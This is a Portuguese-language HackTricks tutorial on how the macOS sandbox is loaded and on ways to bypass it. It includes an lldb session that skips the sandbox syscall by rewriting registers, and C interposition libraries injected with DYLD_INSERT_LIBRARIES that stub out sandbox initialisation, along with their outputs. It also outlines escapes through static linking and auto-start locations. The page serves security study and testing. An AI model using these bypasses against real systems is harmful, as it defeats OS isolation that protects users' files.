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# Depuração e Bypass do Sandbox do macOS

<details>

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</details>

## Processo de carregamento do Sandbox

<figure><img src="../../../../.gitbook/assets/image.png" alt=""><figcaption><p>Imagem de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>

Na imagem anterior, é possível observar **como o sandbox será carregado** quando um aplicativo com a permissão **`com.apple.security.app-sandbox`** é executado.

O compilador irá vincular `/usr/lib/libSystem.B.dylib` ao binário.

Em seguida, **`libSystem.B`** irá chamar várias outras funções até que o **`xpc_pipe_routine`** envie as permissões do aplicativo para o **`securityd`**. O Securityd verifica se o processo deve ser quarentenado dentro do Sandbox e, se for o caso, ele será quarentenado.\
Por fim, o sandbox será ativado com uma chamada para **`__sandbox_ms`** que chamará **`__mac_syscall`**.

## Possíveis Bypasses

### Executar binário sem Sandbox

Se você executar um binário que não será colocado em um sandbox a partir de um binário em sandbox, ele **será executado dentro do sandbox do processo pai**.

### Depuração e bypass do Sandbox com lldb

Vamos compilar um aplicativo que deve ser colocado em um sandbox:

{% tabs %}
{% tab title="sand.c" %}
```c
#include <stdlib.h>
int main() {
    system("cat ~/Desktop/del.txt");
}
```
{% endtab %}

{% tab title="entitlements.xml" %}
O arquivo `entitlements.xml` é um arquivo de propriedades que contém informações sobre as permissões concedidas a um aplicativo. Ele é usado pelo sistema de sandbox do macOS para determinar quais recursos o aplicativo tem permissão para acessar. O arquivo pode ser encontrado dentro do pacote do aplicativo em `/Contents/entitlements.plist`. 

Os desenvolvedores podem especificar quais recursos o aplicativo precisa acessar, como acesso à internet, acesso ao sistema de arquivos ou acesso a dispositivos USB. O sistema de sandbox do macOS então garante que o aplicativo só possa acessar os recursos especificados no arquivo `entitlements.xml`. 

Os usuários podem verificar as permissões concedidas a um aplicativo abrindo as Preferências do Sistema, selecionando Segurança e Privacidade e, em seguida, selecionando a guia Privacidade. A partir daí, os usuários podem ver quais recursos cada aplicativo tem permissão para acessar e podem conceder ou revogar permissões conforme necessário. 

Os atacantes podem tentar modificar o arquivo `entitlements.xml` para conceder permissões adicionais a um aplicativo, permitindo que ele acesse recursos que normalmente não teria permissão para acessar. No entanto, isso requer acesso de gravação ao pacote do aplicativo, o que geralmente é difícil de obter.
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
```
{% endtab %}

{% tab title="Info.plist" %}

O arquivo Info.plist é um arquivo de propriedades que contém informações sobre o aplicativo, incluindo as permissões necessárias para executar o aplicativo. Ele é usado pelo sistema operacional para determinar quais recursos o aplicativo pode acessar e quais ações ele pode executar. O arquivo Info.plist também contém informações sobre a versão do aplicativo, o nome do desenvolvedor e outras informações relevantes. É importante garantir que o arquivo Info.plist esteja configurado corretamente para evitar possíveis vulnerabilidades de segurança.
```xml
<plist version="1.0">
<dict>
    <key>CFBundleIdentifier</key>
    <string>xyz.hacktricks.sandbox</string>
    <key>CFBundleName</key>
    <string>Sandbox</string>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}

Em seguida, compile o aplicativo:

{% code overflow="wrap" %}
```bash
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
```
{% endcode %}

{% hint style="danger" %}
O aplicativo tentará **ler** o arquivo **`~/Desktop/del.txt`**, o que o **Sandbox não permitirá**.\
Crie um arquivo lá, pois uma vez que o Sandbox seja contornado, o aplicativo poderá lê-lo:
```bash
echo "Sandbox Bypassed" > ~/Desktop/del.txt
```
{% endhint %}

Vamos depurar o aplicativo de xadrez para ver quando o Sandbox é carregado:
```bash
# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
  * frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
    frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
    frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
    frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
    frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
  x2 = 0x000000016fdfd660
  
# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
    0x187659904 <+4>:  svc    #0x80
    0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
    0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
```
{% hint style="warning" %}
Mesmo com o Sandbox burlado, o TCC perguntará ao usuário se ele deseja permitir que o processo leia arquivos da área de trabalho.
{% endhint %}

### Abusando de outros processos

Se a partir do processo do Sandbox você conseguir **comprometer outros processos** em execução em Sandboxes menos restritivas (ou sem nenhuma), você poderá escapar para suas Sandboxes:

{% content-ref url="../../macos-proces-abuse/" %}
[macos-proces-abuse](../../macos-proces-abuse/)
{% endcontent-ref %}

### Bypass de Interposição

Para obter mais informações sobre **Interposição**, consulte:

{% content-ref url="../../mac-os-architecture/macos-function-hooking.md" %}
[macos-function-hooking.md](../../mac-os-architecture/macos-function-hooking.md)
{% endcontent-ref %}

#### Interposição de `_libsecinit_initializer` para evitar o Sandbox
```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
    printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
	void (*overriden__libsecinit_initializer)(void);
	void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
```

```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```
#### Interceptar `__mac_syscall` para evitar o Sandbox

{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
    printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
    if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
        printf("Bypassing Sandbox initiation.\n");
        return 0; // pretend we did the job without actually calling __mac_syscall
    }
    // Call the original function for other cases
    return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
    const void *replacement;
    const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
    { (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
```
{% endcode %} (Não traduzir)
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
```
### Compilação estática e vinculação dinâmica

[**Esta pesquisa**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descobriu duas maneiras de contornar o Sandbox. Como o sandbox é aplicado a partir do userland quando a biblioteca **libSystem** é carregada. Se um binário pudesse evitar o carregamento dela, ele nunca seria sandboxed:

* Se o binário fosse **completamente compilado estaticamente**, ele poderia evitar o carregamento dessa biblioteca.
* Se o **binário não precisasse carregar nenhuma biblioteca** (porque o linker também está em libSystem), ele não precisaria carregar libSystem.

### Shellcodes

Observe que **até mesmo shellcodes** em ARM64 precisam ser vinculados em `libSystem.dylib`:
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### Abusando das Localizações de Início Automático

Se um processo com sandbox pode **escrever** em um local onde **mais tarde um aplicativo sem sandbox vai executar o binário**, ele será capaz de **escapar apenas colocando** o binário lá. Um bom exemplo desse tipo de localizações são `~/Library/LaunchAgents` ou `/System/Library/LaunchDaemons`.

Para isso, você pode precisar de **2 etapas**: fazer um processo com um sandbox **mais permissivo** (`file-read*`, `file-write*`) executar seu código, que realmente escreverá em um local onde será **executado sem sandbox**.

Verifique esta página sobre **Localizações de Início Automático**:

{% content-ref url="broken-reference" %}
[Link quebrado](broken-reference)
{% endcontent-ref %}

## Referências

* [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
* [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)
* [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

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